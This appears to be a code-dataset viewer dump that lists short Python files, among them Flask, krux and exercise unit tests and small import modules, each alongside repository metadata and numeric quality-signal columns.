Bidirectio... | 29.885954 | 109 | 0.524718 | 4,743 | 46,383 | 4.880877 | 0.072528 | 0.058402 | 0.049244 | 0.053823 | 0.862808 | 0.857063 | 0.856026 | 0.84406 | 0.837063 | 0.834212 | 0 | 0.028341 | 0.360994 | 46,383 | 1,551 | 110 | 29.905222 | 0.752724 | 0.076494 | 0 | 0.677895 | 0 | 0 | 0.153788 | 0.001667 | 0 | 0 | 0 | 0 | 0 | 1 | 0.019649 | false | 0 | 0.014737 | 0 | 0.05193 | 0.000702 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4da65ed744ee5ae94da3b8b6e1c945561a1bc8fd | 137 | py | Python | app/admin/__init__.py | gitaux/flask-app | 3172927c65ff380ab8b9aeb8f3df42e357e1f35e | [
"MIT"
] | null | null | null | app/admin/__init__.py | gitaux/flask-app | 3172927c65ff380ab8b9aeb8f3df42e357e1f35e | [
"MIT"
] | null | null | null | app/admin/__init__.py | gitaux/flask-app | 3172927c65ff380ab8b9aeb8f3df42e357e1f35e | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# app/admin/__init__.py
from flask import Blueprint
admin = Blueprint('admin', __name__)
from . import views
| 13.7 | 36 | 0.686131 | 18 | 137 | 4.777778 | 0.722222 | 0.325581 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008772 | 0.167883 | 137 | 9 | 37 | 15.222222 | 0.745614 | 0.313869 | 0 | 0 | 0 | 0 | 0.054945 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
4dfd38894f1447aa8279df50d89a830588188819 | 3,227 | py | Python | tests/pages/test_menu.py | selfcustody/krux | 92918b5e52c448ac3ba5318be50efe92041c1166 | [
"MIT"
] | null | null | null | tests/pages/test_menu.py | selfcustody/krux | 92918b5e52c448ac3ba5318be50efe92041c1166 | [
"MIT"
] | 13 | 2022-03-21T05:35:03.000Z | 2022-03-31T14:31:46.000Z | tests/pages/test_menu.py | selfcustody/krux | 92918b5e52c448ac3ba5318be50efe92041c1166 | [
"MIT"
] | null | null | null | from krux.input import BUTTON_ENTER, BUTTON_PAGE
from ..shared_mocks import *
def test_init(mocker):
from krux.pages import Menu
menu = Menu(mock.MagicMock(), [])
assert isinstance(menu, Menu)
def test_run_loop(mocker):
from krux.pages import Menu, MENU_CONTINUE, MENU_EXIT, MENU_SHUTDOWN
ctx ... | 25.210938 | 85 | 0.500465 | 304 | 3,227 | 5.151316 | 0.154605 | 0.114943 | 0.173691 | 0.210728 | 0.774585 | 0.764368 | 0.754789 | 0.712644 | 0.689017 | 0.689017 | 0 | 0.00139 | 0.330958 | 3,227 | 127 | 86 | 25.409449 | 0.723946 | 0 | 0 | 0.741071 | 0 | 0 | 0.258754 | 0 | 0 | 0 | 0 | 0 | 0.0625 | 1 | 0.026786 | false | 0 | 0.035714 | 0 | 0.0625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
12a435e35e761d44388c78c7355d08b486d2512d | 96 | py | Python | venv/lib/python3.8/site-packages/numpy/linalg/tests/test_linalg.py | Retraces/UkraineBot | 3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71 | [
"MIT"
] | 2 | 2022-03-13T01:58:52.000Z | 2022-03-31T06:07:54.000Z | venv/lib/python3.8/site-packages/numpy/linalg/tests/test_linalg.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | 19 | 2021-11-20T04:09:18.000Z | 2022-03-23T15:05:55.000Z | venv/lib/python3.8/site-packages/numpy/linalg/tests/test_linalg.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | null | null | null | /home/runner/.cache/pip/pool/63/e8/e6/4328a2f14be3075fdeedf08815dfa78994a3a87054b8ee110582098c04 | 96 | 96 | 0.895833 | 9 | 96 | 9.555556 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.447917 | 0 | 96 | 1 | 96 | 96 | 0.447917 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
422744269ba1e6926f19ad4444c81db8ad324f5f | 121 | py | Python | src/mlsp_challenge/models/__init__.py | Hguimaraes/SE3D | 5c3cfb19c42405b507bfa1b894c66edd49ec18bb | [
"MIT"
] | 3 | 2021-12-01T15:22:22.000Z | 2022-03-06T13:12:18.000Z | src/mlsp_challenge/models/__init__.py | Hguimaraes/SE3D | 5c3cfb19c42405b507bfa1b894c66edd49ec18bb | [
"MIT"
] | null | null | null | src/mlsp_challenge/models/__init__.py | Hguimaraes/SE3D | 5c3cfb19c42405b507bfa1b894c66edd49ec18bb | [
"MIT"
] | null | null | null | from mlsp_challenge.models.fcn import FCN
from mlsp_challenge.models.sewunet import SEWUNet
__all__ = ["FCN", "SEWUNet"] | 30.25 | 49 | 0.801653 | 17 | 121 | 5.352941 | 0.470588 | 0.175824 | 0.373626 | 0.505495 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.099174 | 121 | 4 | 50 | 30.25 | 0.834862 | 0 | 0 | 0 | 0 | 0 | 0.081967 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
426d7a1d4af590ad0a43a2dd2dae09a859a8027d | 11,175 | py | Python | suites/DatabaseApi/Subscriptions/SetPendingTransactionCallback.py | dbulka/pytests | d2658cff3832293cb1b8abcd970f7df83a2b5035 | [
"MIT"
] | null | null | null | suites/DatabaseApi/Subscriptions/SetPendingTransactionCallback.py | dbulka/pytests | d2658cff3832293cb1b8abcd970f7df83a2b5035 | [
"MIT"
] | null | null | null | suites/DatabaseApi/Subscriptions/SetPendingTransactionCallback.py | dbulka/pytests | d2658cff3832293cb1b8abcd970f7df83a2b5035 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from copy import deepcopy
import lemoncheesecake.api as lcc
from lemoncheesecake.matching import check_that, is_none, equal_to, is_not_none
from common.base_test import BaseTest
SUITE = {
"description": "Method 'set_pending_transaction_callback'"
}
@lcc.prop("main", "type")
@lcc.prop("p... | 53.985507 | 126 | 0.687606 | 1,287 | 11,175 | 5.601399 | 0.10878 | 0.037731 | 0.030517 | 0.072826 | 0.829657 | 0.811347 | 0.793314 | 0.763074 | 0.741712 | 0.73436 | 0 | 0.003766 | 0.215928 | 11,175 | 206 | 127 | 54.247573 | 0.818991 | 0.001879 | 0 | 0.642857 | 0 | 0 | 0.226865 | 0.049857 | 0 | 0 | 0 | 0 | 0 | 1 | 0.089286 | false | 0 | 0.02381 | 0 | 0.130952 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
427648f46d65e5fd0bfb86729f01a3c117755903 | 54 | py | Python | turtle_recorder/__init__.py | PPatrickGU/turtle_recorder | e0662403c6d62b07ca7b960be5c6ece82f72d474 | [
"MIT"
] | 34 | 2018-06-04T06:42:32.000Z | 2022-03-03T02:23:16.000Z | turtle_recorder/__init__.py | PPatrickGU/turtle_recorder | e0662403c6d62b07ca7b960be5c6ece82f72d474 | [
"MIT"
] | 2 | 2019-07-22T03:38:59.000Z | 2020-07-15T11:08:54.000Z | turtle_recorder/__init__.py | PPatrickGU/turtle_recorder | e0662403c6d62b07ca7b960be5c6ece82f72d474 | [
"MIT"
] | 9 | 2018-06-05T11:30:02.000Z | 2022-03-04T02:05:59.000Z | from turtle_recorder.turtle_recorder import Recorder
| 18 | 52 | 0.888889 | 7 | 54 | 6.571429 | 0.571429 | 0.608696 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.092593 | 54 | 2 | 53 | 27 | 0.938776 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
429a7fa6e6711530d5b7529c348a7228213fcbe1 | 5,452 | py | Python | exercises/concept/restaurant-rozalynn/none_test.py | ClashTheBunny/python | 82c232b28dba948ea67d4a969d944b2efbd126df | [
"MIT"
] | null | null | null | exercises/concept/restaurant-rozalynn/none_test.py | ClashTheBunny/python | 82c232b28dba948ea67d4a969d944b2efbd126df | [
"MIT"
] | null | null | null | exercises/concept/restaurant-rozalynn/none_test.py | ClashTheBunny/python | 82c232b28dba948ea67d4a969d944b2efbd126df | [
"MIT"
] | null | null | null | import unittest
import pytest
from none import (
new_seating_chart,
arrange_reservations,
find_all_available_seats,
current_empty_seat_capacity,
accommodate_waiting_guests,
empty_seats
)
class TestNoneType(unittest.TestCase):
@pytest.mark.task(taskno=1)
def test_new_seating_chart_1(se... | 43.269841 | 122 | 0.560895 | 733 | 5,452 | 4.047749 | 0.124147 | 0.040445 | 0.056623 | 0.08089 | 0.841254 | 0.813616 | 0.764746 | 0.728345 | 0.714864 | 0.672733 | 0 | 0.076943 | 0.294387 | 5,452 | 125 | 123 | 43.616 | 0.694307 | 0 | 0 | 0.342342 | 0 | 0 | 0.15609 | 0 | 0 | 0 | 0 | 0 | 0.108108 | 1 | 0.108108 | false | 0 | 0.027027 | 0 | 0.144144 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
42aa8e704a4b8c555fbe7b092c13567681bc1f18 | 75 | py | Python | edge-bootstrap/python/edgectl/parser/__init__.py | CIPop/iotedge | 401b6d19effbb2d5f347434ce0dc01599cefe93e | [
"MIT"
] | 3 | 2018-12-27T18:15:15.000Z | 2020-02-12T05:23:09.000Z | edge-bootstrap/python/edgectl/parser/__init__.py | CIPop/iotedge | 401b6d19effbb2d5f347434ce0dc01599cefe93e | [
"MIT"
] | 2 | 2018-12-28T04:48:34.000Z | 2019-01-15T21:11:30.000Z | edge-bootstrap/python/edgectl/parser/__init__.py | CIPop/iotedge | 401b6d19effbb2d5f347434ce0dc01599cefe93e | [
"MIT"
] | 2 | 2018-11-06T23:54:28.000Z | 2019-04-03T06:38:47.000Z | from edgectl.parser.edgeconfigparserfactory import EdgeConfigParserFactory
| 37.5 | 74 | 0.92 | 6 | 75 | 11.5 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.053333 | 75 | 1 | 75 | 75 | 0.971831 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.